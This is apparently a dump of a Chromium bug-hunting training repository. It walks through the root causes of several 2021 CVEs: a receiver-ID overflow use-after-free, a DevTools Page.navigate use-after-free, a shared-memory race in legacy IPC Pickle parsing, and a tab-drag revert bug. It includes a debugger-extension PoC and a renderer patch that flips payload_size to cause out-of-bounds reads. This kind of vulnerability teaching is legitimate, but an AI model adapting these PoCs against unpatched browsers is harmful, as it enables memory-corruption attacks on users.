27 | 28 | -------- 29 | 30 | ### Set environment 31 | 32 | after fetch chromium 33 | ```sh 34 | git reset --hard 86a37b3c8fdc47b0ba932644fd61bbc791c82357 35 | ``` 36 | 37 | 38 | 39 | ### Related code 40 | 41 | mojo/public/cpp/bindings/receiver_set.h 42 | 43 | read this [doc](https://chromium.googlesource.com/chromium/src/+/668cf831e91210d4f23e815e07ff1421f3ee9747/mojo/public/cpp/bindings#Receiver-Sets) get info about Receiver Sets 44 | 45 | ### Do it 46 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 47 | 48 | 49 | --------- 50 | 51 |
52 | My answer 53 | 54 | This function only checks whether the ID is equal to 0, but does not judge whether the ID is reused.so if the has same id inset to container,will free the previous. 55 | ```c++ 56 | ReceiverId AddImpl(ImplPointerType impl, 57 | PendingType receiver, 58 | Context context, 59 | scoped_refptr task_runner) { 60 | DCHECK(receiver.is_valid()); 61 | ReceiverId id = next_receiver_id_++; 62 | DCHECK_GE(next_receiver_id_, 0u); 63 | auto entry = 64 | std::make_unique(std::move(impl), std::move(receiver), this, id, 65 | std::move(context), std::move(task_runner)); 66 | receivers_.insert(std::make_pair(id, std::move(entry))); 67 | return id; 68 | } 69 | ``` 70 | If we add id to maxsize,then extra add 1,will overflow.Insert same id ,will free previous , then we can use the freed pointer ,cause UAF. 71 | ```c++ 72 | namespace mojo { 73 | 74 | using ReceiverId = size_t; 75 | 76 | template 77 | struct ReceiverSetTraits; 78 | ``` 79 | Where can cause UAF? the poc use cursor_impl pointer , cursor_impl_ptr->OnRemoveBinding 80 | ```c++ 81 | mojo::PendingAssociatedRemote 82 | IndexedDBDispatcherHost::CreateCursorBinding( 83 | const url::Origin& origin, 84 | std::unique_ptr cursor) { 85 | DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); 86 | auto cursor_impl = std::make_unique(std::move(cursor), origin, 87 | this, IDBTaskRunner()); 88 | auto* cursor_impl_ptr = cursor_impl.get(); 89 | mojo::PendingAssociatedRemote remote; 90 | mojo::ReceiverId receiver_id = cursor_receivers_.Add( 91 | std::move(cursor_impl), remote.InitWithNewEndpointAndPassReceiver()); 92 | cursor_impl_ptr->OnRemoveBinding( 93 | base::BindOnce(&IndexedDBDispatcherHost::RemoveCursorBinding, 94 | weak_factory_.GetWeakPtr(), receiver_id)); 95 | return remote; 96 | } 97 | ``` 98 | **POC** 99 | ```html 100 | 101 | 147 | 148 | ``` 149 | 150 |
151 | 152 | -------- 153 | -------------------------------------------------------------------------------- /LEVEL_3/exercise_5/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 5 2 | 3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. 4 | 5 | LEVEL 2 we do the same as LEVEL 1 without the help of Details. 6 | 7 | But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves. 8 | 9 | ## CVE-2021-21202 10 | I sugget you don't search any report about it to prevents get too much info like patch. 11 | 12 | 13 | 14 | ### Details 15 | 16 | In level 3, we do it without the help of Details 17 | 18 | 19 | --------- 20 | 21 |
22 | For more info click me! But you'd better not do this 23 | 24 | https://bugs.chromium.org/p/chromium/issues/detail?id=1188889 25 | 26 |
27 | 28 | -------- 29 | 30 | ### Set environment 31 | 32 | after fetch chromium 33 | ```sh 34 | git reset --hard b84b5d13d0d013ad4a8c90f1ba4cd8509f9885bf 35 | ``` 36 | 37 | 38 | 39 | ### Related code 40 | 41 | content/browser/devtools/protocol/page_handler.cc 42 | 43 | 44 | tips: [`Page.navigate`](https://chromedevtools.github.io/devtools-protocol/tot/Page/#method-navigate) 45 | 46 | 47 | ### Do it 48 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 49 | 50 | 51 | --------- 52 | 53 |
54 | My answer 55 | 56 | This vulnerability does not seem to be exploitable, so we briefly end this part. 57 | >One of the methods available via the Chrome DevTools protocol is Page.navigate. That method allows the caller to navigate the target page to a specified URL. 58 | > 59 | >When an extension uses that method to navigate a crashed page to a restricted URL, the debugging session will be detached. However, that occurs in the middle of PageHandler::Navigate, resulting in the PageHandler object being deleted midway through the method. 60 | 61 | >The reason that the session is detached is that the URL being navigated to is restricted (and therefore can't be debugged by an extension). 62 | > 63 | >That results in the PageHandler object being deleted (along with the other domain handlers) once LoadURLWithParams has finished executing. 64 | 65 | ```c++ 66 | void PageHandler::Navigate(const std::string& url, 67 | Maybe referrer, 68 | Maybe maybe_transition_type, 69 | Maybe frame_id, 70 | Maybe referrer_policy, 71 | std::unique_ptr callback) { 72 | GURL gurl(url); 73 | if (!gurl.is_valid()) { 74 | callback->sendFailure( 75 | Response::ServerError("Cannot navigate to invalid URL")); 76 | return; 77 | } 78 | 79 | if (!host_) { 80 | callback->sendFailure(Response::InternalError()); 81 | return; 82 | } 83 | 84 | ui::PageTransition type; 85 | std::string transition_type = 86 | maybe_transition_type.fromMaybe(Page::TransitionTypeEnum::Typed); 87 | if (transition_type == Page::TransitionTypeEnum::Link) 88 | type = ui::PAGE_TRANSITION_LINK; 89 | else if (transition_type == Page::TransitionTypeEnum::Typed) 90 | type = ui::PAGE_TRANSITION_TYPED; 91 | else if (transition_type == Page::TransitionTypeEnum::Address_bar) 92 | type = ui::PAGE_TRANSITION_FROM_ADDRESS_BAR; 93 | else if (transition_type == Page::TransitionTypeEnum::Auto_bookmark) 94 | type = ui::PAGE_TRANSITION_AUTO_BOOKMARK; 95 | else if (transition_type == Page::TransitionTypeEnum::Auto_subframe) 96 | type = ui::PAGE_TRANSITION_AUTO_SUBFRAME; 97 | else if (transition_type == Page::TransitionTypeEnum::Manual_subframe) 98 | type = ui::PAGE_TRANSITION_MANUAL_SUBFRAME; 99 | else if (transition_type == Page::TransitionTypeEnum::Generated) 100 | type = ui::PAGE_TRANSITION_GENERATED; 101 | else if (transition_type == Page::TransitionTypeEnum::Auto_toplevel) 102 | type = ui::PAGE_TRANSITION_AUTO_TOPLEVEL; 103 | else if (transition_type == Page::TransitionTypeEnum::Form_submit) 104 | type = ui::PAGE_TRANSITION_FORM_SUBMIT; 105 | else if (transition_type == Page::TransitionTypeEnum::Reload) 106 | type = ui::PAGE_TRANSITION_RELOAD; 107 | else if (transition_type == Page::TransitionTypeEnum::Keyword) 108 | type = ui::PAGE_TRANSITION_KEYWORD; 109 | else if (transition_type == Page::TransitionTypeEnum::Keyword_generated) 110 | type = ui::PAGE_TRANSITION_KEYWORD_GENERATED; 111 | else 112 | type = ui::PAGE_TRANSITION_TYPED; 113 | 114 | std::string out_frame_id = frame_id.fromMaybe( 115 | host_->frame_tree_node()->devtools_frame_token().ToString()); 116 | FrameTreeNode* frame_tree_node = FrameTreeNodeFromDevToolsFrameToken( 117 | host_->frame_tree_node(), out_frame_id); 118 | 119 | if (!frame_tree_node) { 120 | callback->sendFailure( 121 | Response::ServerError("No frame with given id found")); 122 | return; 123 | } 124 | 125 | NavigationController::LoadURLParams params(gurl); 126 | network::mojom::ReferrerPolicy policy = 127 | ParsePolicyFromString(referrer_policy.fromMaybe("")); 128 | params.referrer = Referrer(GURL(referrer.fromMaybe("")), policy); 129 | params.transition_type = type; 130 | params.frame_tree_node_id = frame_tree_node->frame_tree_node_id(); 131 | frame_tree_node->navigator().controller().LoadURLWithParams(params); [1] 132 | 133 | if (frame_tree_node->navigation_request()) { 134 | navigate_callbacks_[frame_tree_node->navigation_request() 135 | ->devtools_navigation_token()] = 136 | std::move(callback); 137 | } else { 138 | callback->sendSuccess(out_frame_id, Maybe(), 139 | Maybe()); 140 | } 141 | } 142 | ``` 143 | And patch add check `weak_factory_` after `LoadURLWithParams` 144 | 145 | `base::WeakPtrFactory weak_factory_{this};` 146 | 147 | **Poc** 148 | 149 | This poc is in the form of a `extensions`, you can get guidence from [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1188889) 150 | ```js 151 | let tabUpdatedListener = null; 152 | 153 | chrome.tabs.onUpdated.addListener(function (tabId, changeInfo, tab) { 154 | if (tabUpdatedListener) { 155 | tabUpdatedListener(tabId, changeInfo, tab); 156 | } 157 | }); 158 | 159 | let debugEventListener = null; 160 | 161 | chrome.debugger.onEvent.addListener(function (source, method, params) { 162 | if (debugEventListener) { 163 | debugEventListener(source, method, params); 164 | } 165 | }); 166 | 167 | startProcess(); 168 | 169 | function startProcess() { 170 | let targetTab = null; 171 | 172 | chrome.tabs.create({url: "https://www.google.com/"}, function (tab) { 173 | targetTab = tab; 174 | }); 175 | 176 | tabUpdatedListener = function (tabId, changeInfo, updatedTab) { 177 | if (targetTab 178 | && tabId === targetTab.id 179 | && changeInfo.status === "complete") { 180 | tabUpdatedListener = null; 181 | 182 | onTargetTabLoaded(targetTab); 183 | } 184 | }; 185 | } 186 | 187 | function onTargetTabLoaded(tab) { 188 | chrome.debugger.attach({tabId: tab.id}, "1.3", function () { 189 | onDebuggerAttachedToTargetTab(tab); 190 | }); 191 | } 192 | 193 | function onDebuggerAttachedToTargetTab(tab) { 194 | chrome.debugger.sendCommand({tabId: tab.id}, "Page.crash", {}); 195 | 196 | debugEventListener = function (source, method, params) { 197 | if (method === "Inspector.targetCrashed") { 198 | debugEventListener = null; 199 | 200 | chrome.debugger.sendCommand({tabId: tab.id}, "Page.navigate", 201 | {url: "chrome://settings/"}); 202 | } 203 | }; 204 | } 205 | ``` 206 |
207 | 208 | -------- 209 | -------------------------------------------------------------------------------- /LEVEL_3/exercise_6/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 6 2 | 3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. 4 | 5 | LEVEL 2 we do the same as LEVEL 1 without the help of Details. 6 | 7 | But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves. 8 | 9 | ## CVE-2021-21198 10 | I sugget you don't search any report about it to prevents get too much info like patch. 11 | 12 | 13 | 14 | ### Details 15 | 16 | In level 3, we do it without the help of Details 17 | 18 | 19 | --------- 20 | 21 |
22 | For more info click me! But you'd better not do this 23 | 24 | https://bugs.chromium.org/p/chromium/issues/detail?id=1184399 25 | 26 |
27 | 28 | -------- 29 | 30 | ### Set environment 31 | 32 | after fetch chromium 33 | ```sh 34 | git reset --hard 983a7365ebe7fa934fb4660409105bae294d70a5 35 | ``` 36 | 37 | 38 | 39 | ### Related code 40 | ```c++ 41 | // Typemapped such that arbitrarily large IPC::Message objects can be sent and 42 | // received with minimal copying. 43 | struct Message { 44 | mojo_base.mojom.BigBuffer buffer; 45 | array? handles; 46 | }; 47 | ======================================== 48 | union BigBuffer { 49 | array bytes; 50 | BigBufferSharedMemoryRegion shared_memory; 51 | bool invalid_buffer; 52 | }; 53 | ``` 54 | ipc/ipc_message_pipe_reader.cc 55 | base/pickle.cc 56 | 57 | 58 | tips: You just need to think how `shared_memory` can be used to breaking mojo. 59 | 60 | ### Do it 61 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 62 | 63 | 64 | --------- 65 | 66 |
67 | My answer 68 | 69 | ```c++ 70 | // Typemapped such that arbitrarily large IPC::Message objects can be sent and 71 | // received with minimal copying. 72 | struct Message { 73 | mojo_base.mojom.BigBuffer buffer; [1] 74 | array? handles; 75 | }; 76 | ======================================= 77 | union BigBuffer { 78 | array bytes; 79 | BigBufferSharedMemoryRegion shared_memory; [2] 80 | bool invalid_buffer; 81 | }; 82 | ``` 83 | [1] | [2] `BigBuffer` is backed by an `array` of bytes when the message is **small**; but it's backed by `shared memory` if the message is **large**. This means that a malicious renderer can send legacy `IPC messages` backed by `shared memory`. 84 | 85 | ```c++ 86 | void MessagePipeReader::Receive(MessageView message_view) { 87 | if (!message_view.size()) { 88 | delegate_->OnBrokenDataReceived(); 89 | return; 90 | } 91 | Message message(message_view.data(), message_view.size()); [3] 92 | if (!message.IsValid()) { 93 | delegate_->OnBrokenDataReceived(); 94 | return; 95 | } 96 | [ ... ] 97 | ``` 98 | [3] `ipc::Message` inherits from `base::Pickle` 99 | ```c++ 100 | class IPC_MESSAGE_SUPPORT_EXPORT Message : public base::Pickle { 101 | public: 102 | //[ ... ] 103 | // Initializes a message from a const block of data. The data is not copied; 104 | // instead the data is merely referenced by this message. Only const methods 105 | // should be used on the message when initialized this way. 106 | Message(const char* data, int data_len); 107 | ============================================= 108 | Message::Message(const char* data, int data_len) 109 | : base::Pickle(data, data_len) { [4] 110 | Init(); 111 | } 112 | ``` 113 | The constructor of `Message` call `Pickle`'s constructor 114 | ```c++ 115 | Pickle::Pickle(const char* data, size_t data_len) 116 | : header_(reinterpret_cast(const_cast(data))), 117 | header_size_(0), 118 | capacity_after_header_(kCapacityReadOnly), 119 | write_offset_(0) { 120 | if (data_len >= static_cast(sizeof(Header))) [5] 121 | header_size_ = data_len - header_->payload_size; 122 | 123 | if (header_size_ > static_cast(data_len)) 124 | header_size_ = 0; 125 | [ ... ] 126 | ``` 127 | [5] after check `payload_size` at this point, we can chenge `payload_size` in Pickle's header by the other side which have the access of `shared_memory` 128 | 129 | Since `base::Pickle` expects to find a `header` at the start of the region, by changing the length field in that header after the checks in the `Pickle` constructor 130 | 131 | ```c++ 132 | PickleIterator::PickleIterator(const Pickle& pickle) 133 | : payload_(pickle.payload()), 134 | read_index_(0), 135 | end_index_(pickle.payload_size()) { [6] 136 | } 137 | =================================================== 138 | // This class provides facilities for basic binary value packing and unpacking. 139 | // 140 | // The Pickle's data has a header which contains the size of the Pickle's 141 | // payload. It can optionally support additional space in the header. That 142 | // space is controlled by the header_size parameter passed to the Pickle 143 | // constructor. 144 | // 145 | class BASE_EXPORT Pickle { 146 | public: 147 | //[ ... ] 148 | // The payload is the pickle data immediately following the header. 149 | size_t payload_size() const { 150 | return header_ ? header_->payload_size : 0; [7] 151 | } 152 | ``` 153 | 154 | [6] | [7] `PickleIterator`'s `end_index_ == header_->payload_size`, we can use it to oob read 155 | 156 | ```c++ 157 | // PickleIterator reads data from a Pickle. The Pickle object must remain valid 158 | // while the PickleIterator object is in use. 159 | class BASE_EXPORT PickleIterator { 160 | public: 161 | PickleIterator() : payload_(nullptr), read_index_(0), end_index_(0) {} 162 | explicit PickleIterator(const Pickle& pickle); 163 | 164 | // Methods for reading the payload of the Pickle. To read from the start of 165 | // the Pickle, create a PickleIterator from a Pickle. If successful, these 166 | // methods return true. Otherwise, false is returned to indicate that the 167 | // result could not be extracted. It is not possible to read from the iterator 168 | // after that. 169 | bool ReadBool(bool* result) WARN_UNUSED_RESULT; 170 | bool ReadInt(int* result) WARN_UNUSED_RESULT; 171 | bool ReadLong(long* result) WARN_UNUSED_RESULT; 172 | [ ... ] 173 | ``` 174 | Set `PickleIterator.end_index_` to a huge num, we can get oob read by these Methods. 175 | 176 | **Poc** 177 | 178 | We can write code in source file 179 | 180 | The attached patch forces all legacy IPC messages sent by renderers to be sent as *shared memory*, and *creates a new thread* in each renderer that *flips the high bits of the payload_size* value for a short period after each message is sent; this has a "reasonable" chance of having valid values to pass through the checks, and then invalid values later on. 181 | ```diff 182 | diff --git a/ipc/ipc_message_pipe_reader.cc b/ipc/ipc_message_pipe_reader.cc 183 | index 6e7bf51b0e05..2d3b57e7a205 100644 184 | --- a/ipc/ipc_message_pipe_reader.cc 185 | +++ b/ipc/ipc_message_pipe_reader.cc 186 | @@ -6,10 +6,13 @@ 187 | 188 | #include 189 | 190 | +#include 191 | #include 192 | 193 | #include "base/bind.h" 194 | #include "base/callback_helpers.h" 195 | +#include "base/command_line.h" 196 | +#include "base/debug/stack_trace.h" 197 | #include "base/location.h" 198 | #include "base/logging.h" 199 | #include "base/macros.h" 200 | @@ -18,6 +21,13 @@ 201 | #include "ipc/ipc_channel_mojo.h" 202 | #include "mojo/public/cpp/bindings/message.h" 203 | 204 | +std::string GetProcessType() { 205 | + std::string type = base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII("type"); 206 | + if (type == "") 207 | + return "browser"; 208 | + return type; 209 | +} 210 | + 211 | namespace IPC { 212 | namespace internal { 213 | 214 | @@ -35,6 +45,10 @@ MessagePipeReader::MessagePipeReader( 215 | receiver_.set_disconnect_handler( 216 | base::BindOnce(&MessagePipeReader::OnPipeError, base::Unretained(this), 217 | MOJO_RESULT_FAILED_PRECONDITION)); 218 | + if (GetProcessType() == "renderer") { 219 | + race_thread_ = std::make_unique("race_thread"); 220 | + race_thread_->Start(); 221 | + } 222 | } 223 | 224 | MessagePipeReader::~MessagePipeReader() { 225 | @@ -49,6 +63,17 @@ void MessagePipeReader::Close() { 226 | receiver_.reset(); 227 | } 228 | 229 | +static void race_ipc_message(mojo::ScopedSharedBufferHandle shm_handle) { 230 | + auto mapping = shm_handle->Map(0x100); 231 | + fprintf(stderr, "racing\n"); 232 | + volatile uint32_t* ptr = (volatile uint32_t*)mapping.get(); 233 | + for (int i = 0; i < 0x80000; ++i) { 234 | + *ptr ^= 0x23230000; 235 | + } 236 | + *ptr ^= 0x23230000; 237 | + fprintf(stderr, "done racing\n"); 238 | +} 239 | + 240 | bool MessagePipeReader::Send(std::unique_ptr message) { 241 | CHECK(message->IsValid()); 242 | TRACE_EVENT_WITH_FLOW0("toplevel.flow", "MessagePipeReader::Send", 243 | @@ -62,9 +87,27 @@ bool MessagePipeReader::Send(std::unique_ptr message) { 244 | if (!sender_) 245 | return false; 246 | 247 | - sender_->Receive(MessageView(*message, std::move(handles))); 248 | - DVLOG(4) << "Send " << message->type() << ": " << message->size(); 249 | - return true; 250 | + if (GetProcessType() == "renderer") { 251 | + auto shm_handle = mojo::SharedBufferHandle::Create(message->size() > 0x1000 ? message->size() : 0x1000); 252 | + auto shm_handle_copy = shm_handle->Clone(mojo::SharedBufferHandle::AccessMode::READ_WRITE); 253 | + 254 | + mojo_base::internal::BigBufferSharedMemoryRegion shm_region(std::move(shm_handle), message->size()); 255 | + memcpy(shm_region.memory(), message->data(), message->size()); 256 | + mojo_base::BigBufferView big_buffer_view; 257 | + big_buffer_view.SetSharedMemory(std::move(shm_region)); 258 | + 259 | + race_thread_->task_runner()->PostTask(FROM_HERE, 260 | + base::BindOnce(race_ipc_message, std::move(shm_handle_copy))); 261 | + 262 | + sender_->Receive(MessageView(std::move(big_buffer_view), std::move(handles))); 263 | + 264 | + DVLOG(4) << "Send " << message->type() << ": " << message->size(); 265 | + return true; 266 | + } else { 267 | + sender_->Receive(MessageView(*message, std::move(handles))); 268 | + DVLOG(4) << "Send " << message->type() << ": " << message->size(); 269 | + return true; 270 | + } 271 | } 272 | 273 | void MessagePipeReader::GetRemoteInterface( 274 | diff --git a/ipc/ipc_message_pipe_reader.h b/ipc/ipc_message_pipe_reader.h 275 | index b7f73d2a9aee..6c26987dadcd 100644 276 | --- a/ipc/ipc_message_pipe_reader.h 277 | +++ b/ipc/ipc_message_pipe_reader.h 278 | @@ -15,6 +15,7 @@ 279 | #include "base/component_export.h" 280 | #include "base/macros.h" 281 | #include "base/process/process_handle.h" 282 | +#include "base/threading/thread.h" 283 | #include "base/threading/thread_checker.h" 284 | #include "ipc/ipc.mojom.h" 285 | #include "ipc/ipc_message.h" 286 | @@ -106,6 +107,9 @@ class COMPONENT_EXPORT(IPC) MessagePipeReader : public mojom::Channel { 287 | Delegate* delegate_; 288 | mojo::AssociatedRemote sender_; 289 | mojo::AssociatedReceiver receiver_; 290 | + 291 | + std::unique_ptr race_thread_; 292 | + 293 | base::ThreadChecker thread_checker_; 294 | 295 | DISALLOW_COPY_AND_ASSIGN(MessagePipeReader); 296 | 297 | ``` 298 | 299 | 300 |
301 | 302 | -------- 303 | -------------------------------------------------------------------------------- /LEVEL_3/exercise_6/ipc_message_pipe_reader.cc: -------------------------------------------------------------------------------- 1 | // Copyright 2014 The Chromium Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style license that can be 3 | // found in the LICENSE file. 4 | 5 | #include "ipc/ipc_message_pipe_reader.h" 6 | 7 | #include 8 | 9 | #include 10 | 11 | #include "base/bind.h" 12 | #include "base/callback_helpers.h" 13 | #include "base/location.h" 14 | #include "base/logging.h" 15 | #include "base/macros.h" 16 | #include "base/single_thread_task_runner.h" 17 | #include "base/threading/thread_task_runner_handle.h" 18 | #include "ipc/ipc_channel_mojo.h" 19 | #include "mojo/public/cpp/bindings/message.h" 20 | 21 | namespace IPC { 22 | namespace internal { 23 | 24 | MessagePipeReader::MessagePipeReader( 25 | mojo::MessagePipeHandle pipe, 26 | mojo::AssociatedRemote sender, 27 | mojo::PendingAssociatedReceiver receiver, 28 | MessagePipeReader::Delegate* delegate) 29 | : delegate_(delegate), 30 | sender_(std::move(sender)), 31 | receiver_(this, std::move(receiver)) { 32 | sender_.set_disconnect_handler( 33 | base::BindOnce(&MessagePipeReader::OnPipeError, base::Unretained(this), 34 | MOJO_RESULT_FAILED_PRECONDITION)); 35 | receiver_.set_disconnect_handler( 36 | base::BindOnce(&MessagePipeReader::OnPipeError, base::Unretained(this), 37 | MOJO_RESULT_FAILED_PRECONDITION)); 38 | } 39 | 40 | MessagePipeReader::~MessagePipeReader() { 41 | DCHECK(thread_checker_.CalledOnValidThread()); 42 | // The pipe should be closed before deletion. 43 | } 44 | 45 | void MessagePipeReader::Close() { 46 | DCHECK(thread_checker_.CalledOnValidThread()); 47 | sender_.reset(); 48 | if (receiver_.is_bound()) 49 | receiver_.reset(); 50 | } 51 | 52 | bool MessagePipeReader::Send(std::unique_ptr message) { 53 | CHECK(message->IsValid()); 54 | TRACE_EVENT_WITH_FLOW0("toplevel.flow", "MessagePipeReader::Send", 55 | message->flags(), TRACE_EVENT_FLAG_FLOW_OUT); 56 | base::Optional> handles; 57 | MojoResult result = MOJO_RESULT_OK; 58 | result = ChannelMojo::ReadFromMessageAttachmentSet(message.get(), &handles); 59 | if (result != MOJO_RESULT_OK) 60 | return false; 61 | 62 | if (!sender_) 63 | return false; 64 | 65 | sender_->Receive(MessageView(*message, std::move(handles))); 66 | DVLOG(4) << "Send " << message->type() << ": " << message->size(); 67 | return true; 68 | } 69 | 70 | void MessagePipeReader::GetRemoteInterface( 71 | const std::string& name, 72 | mojo::ScopedInterfaceEndpointHandle handle) { 73 | if (!sender_.is_bound()) 74 | return; 75 | sender_->GetAssociatedInterface( 76 | name, mojo::PendingAssociatedReceiver( 77 | std::move(handle))); 78 | } 79 | 80 | void MessagePipeReader::SetPeerPid(int32_t peer_pid) { 81 | delegate_->OnPeerPidReceived(peer_pid); 82 | } 83 | 84 | void MessagePipeReader::Receive(MessageView message_view) { 85 | if (!message_view.size()) { 86 | delegate_->OnBrokenDataReceived(); 87 | return; 88 | } 89 | Message message(message_view.data(), message_view.size()); 90 | if (!message.IsValid()) { 91 | delegate_->OnBrokenDataReceived(); 92 | return; 93 | } 94 | 95 | DVLOG(4) << "Receive " << message.type() << ": " << message.size(); 96 | MojoResult write_result = ChannelMojo::WriteToMessageAttachmentSet( 97 | message_view.TakeHandles(), &message); 98 | if (write_result != MOJO_RESULT_OK) { 99 | OnPipeError(write_result); 100 | return; 101 | } 102 | 103 | TRACE_EVENT_WITH_FLOW0("toplevel.flow", "MessagePipeReader::Receive", 104 | message.flags(), TRACE_EVENT_FLAG_FLOW_IN); 105 | delegate_->OnMessageReceived(message); 106 | } 107 | 108 | void MessagePipeReader::GetAssociatedInterface( 109 | const std::string& name, 110 | mojo::PendingAssociatedReceiver receiver) { 111 | DCHECK(thread_checker_.CalledOnValidThread()); 112 | if (delegate_) 113 | delegate_->OnAssociatedInterfaceRequest(name, receiver.PassHandle()); 114 | } 115 | 116 | void MessagePipeReader::OnPipeError(MojoResult error) { 117 | DCHECK(thread_checker_.CalledOnValidThread()); 118 | 119 | Close(); 120 | 121 | // NOTE: The delegate call below may delete |this|. 122 | if (delegate_) 123 | delegate_->OnPipeError(); 124 | } 125 | 126 | } // namespace internal 127 | } // namespace IPC 128 | -------------------------------------------------------------------------------- /LEVEL_3/exercise_7/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 7 2 | 3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. 4 | 5 | LEVEL 2 we do the same as LEVEL 1 without the help of Details. 6 | 7 | But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves. 8 | 9 | ## CVE-2021-21155 10 | I sugget you don't search any report about it to prevents get too much info like patch. 11 | 12 | 13 | 14 | ### Details 15 | 16 | In level 3, we do it without the help of Details 17 | 18 | 19 | --------- 20 | 21 |
22 | For more info click me! But you'd better not do this 23 | 24 | https://bugs.chromium.org/p/chromium/issues/detail?id=1175500 25 | 26 |
27 | 28 | -------- 29 | 30 | ### Set environment 31 | 32 | after fetch chromium 33 | ```sh 34 | git reset --hard c57ba0a5dacc78c7a1954c99d381b77ec771fba6 35 | ``` 36 | 37 | 38 | 39 | ### Related code 40 | 41 | chrome/browser/ui/views/tabs/tab_drag_controller.cc 42 | 43 | About TabDragController: 44 | ```c++ 45 | // TabDragController is responsible for managing the tab dragging session. When 46 | // the user presses the mouse on a tab a new TabDragController is created and 47 | // Drag() is invoked as the mouse is dragged. If the mouse is dragged far enough 48 | // TabDragController starts a drag session. The drag session is completed when 49 | // EndDrag() is invoked (or the TabDragController is destroyed). 50 | // 51 | // While dragging within a tab strip TabDragController sets the bounds of the 52 | // tabs (this is referred to as attached). When the user drags far enough such 53 | // that the tabs should be moved out of the tab strip a new Browser is created 54 | // and RunMoveLoop() is invoked on the Widget to drag the browser around. This 55 | // is the default on aura. 56 | ``` 57 | 58 | ### Do it 59 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 60 | 61 | 62 | --------- 63 | 64 |
65 | My answer 66 | 67 | 68 | ```c++ 69 | void TabDragController::RevertDragAt(size_t drag_index) { 70 | DCHECK_NE(current_state_, DragState::kNotStarted); 71 | DCHECK(source_context_); 72 | 73 | base::AutoReset setter(&is_mutating_, true); 74 | TabDragData* data = &(drag_data_[drag_index]); 75 | int target_index = data->source_model_index; 76 | if (attached_context_) { 77 | int index = attached_context_->GetTabStripModel()->GetIndexOfWebContents( 78 | data->contents); 79 | if (attached_context_ != source_context_) { 80 | // The Tab was inserted into another TabDragContext. We need to 81 | // put it back into the original one. 82 | std::unique_ptr detached_web_contents = 83 | attached_context_->GetTabStripModel()->DetachWebContentsAt(index); 84 | // TODO(beng): (Cleanup) seems like we should use Attach() for this 85 | // somehow. 86 | source_context_->GetTabStripModel()->InsertWebContentsAt( 87 | target_index, std::move(detached_web_contents), 88 | (data->pinned ? TabStripModel::ADD_PINNED : 0)); 89 | } else { 90 | // The Tab was moved within the TabDragContext where the drag 91 | // was initiated. Move it back to the starting location. 92 | 93 | // If the target index is to the right, then other unreverted tabs are 94 | // occupying indices between this tab and the target index. Those 95 | // unreverted tabs will later be reverted to the right of the target 96 | // index, so we skip those indices. 97 | if (target_index > index) { 98 | for (size_t i = drag_index + 1; i < drag_data_.size(); ++i) { 99 | if (drag_data_[i].contents) 100 | ++target_index; 101 | } 102 | } 103 | source_context_->GetTabStripModel()->MoveWebContentsAt( [1] 104 | index, target_index, false); 105 | } 106 | } else { 107 | // The Tab was detached from the TabDragContext where the drag 108 | // began, and has not been attached to any other TabDragContext. 109 | // We need to put it back into the source TabDragContext. 110 | source_context_->GetTabStripModel()->InsertWebContentsAt( 111 | target_index, std::move(data->owned_contents), 112 | (data->pinned ? TabStripModel::ADD_PINNED : 0)); 113 | } 114 | source_context_->GetTabStripModel()->UpdateGroupForDragRevert( 115 | target_index, 116 | data->tab_group_data.has_value() 117 | ? base::Optional{data->tab_group_data.value() 118 | .group_id} 119 | : base::nullopt, 120 | data->tab_group_data.has_value() 121 | ? base::Optional< 122 | tab_groups::TabGroupVisualData>{data->tab_group_data.value() 123 | .group_visual_data} 124 | : base::nullopt); 125 | } 126 | ``` 127 | [1] We can get info about these conditions judged by `if` from comment, `MoveWebContentsAt` do just like its name. 128 | ```c++ 129 | int TabStripModel::MoveWebContentsAt(int index, 130 | int to_position, 131 | bool select_after_move) { 132 | ReentrancyCheck reentrancy_check(&reentrancy_guard_); 133 | 134 | CHECK(ContainsIndex(index)); 135 | 136 | to_position = ConstrainMoveIndex(to_position, IsTabPinned(index)); [2] 137 | 138 | if (index == to_position) 139 | return to_position; [3] 140 | 141 | MoveWebContentsAtImpl(index, to_position, select_after_move); 142 | EnsureGroupContiguity(to_position); 143 | 144 | return to_position; 145 | } 146 | ``` 147 | 148 | [2] `to_position` is `target_index`, and it has been chenged, [3] return the `to_position` which has been chenged, we should assign it back to `target_index`. But in truth, we don't. 149 | 150 | ```c++ 151 | if (target_index > index) { 152 | for (size_t i = drag_index + 1; i < drag_data_.size(); ++i) { 153 | if (drag_data_[i].contents) 154 | ++target_index; 155 | } 156 | } 157 | source_context_->GetTabStripModel()->MoveWebContentsAt( // The return value should assign to target_index 158 | index, target_index, false); 159 | ``` 160 | 161 | **Poc** 162 | ```html 163 | 164 | 165 | 171 | ``` 172 | 173 |
174 | 175 | -------- 176 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # bug-hunting-101 2 | 3 | ## What is this? 4 | 5 | This repository is to help new-comers (like ourselves) of binary bug hunting area to improve their skills. 6 | 7 | Currently, the gap between CTF and real world bug hunting can be quite huge. 8 | And this repository is our attempt to solve that problem by porting the real world bug hunting to small exercises. 9 | 10 | CVEs are selected out and setup in a certain scene, your goal is to repeat the process of finding such vulnerabilities out. 11 | 12 | ## Intro 13 | 14 | We have prepared 3 levels. 15 | Each level provides excersises with different difficulties: 16 | 17 | - Level 1: Details of the CVEs are provided to help you from "re-discovering" the original vulnerability. Reports like [this](https://talosintelligence.com/vulnerability_reports/TALOS-2020-1127) are provided. 18 | So this should be the easiest level. 19 | - Level 2: the details will be 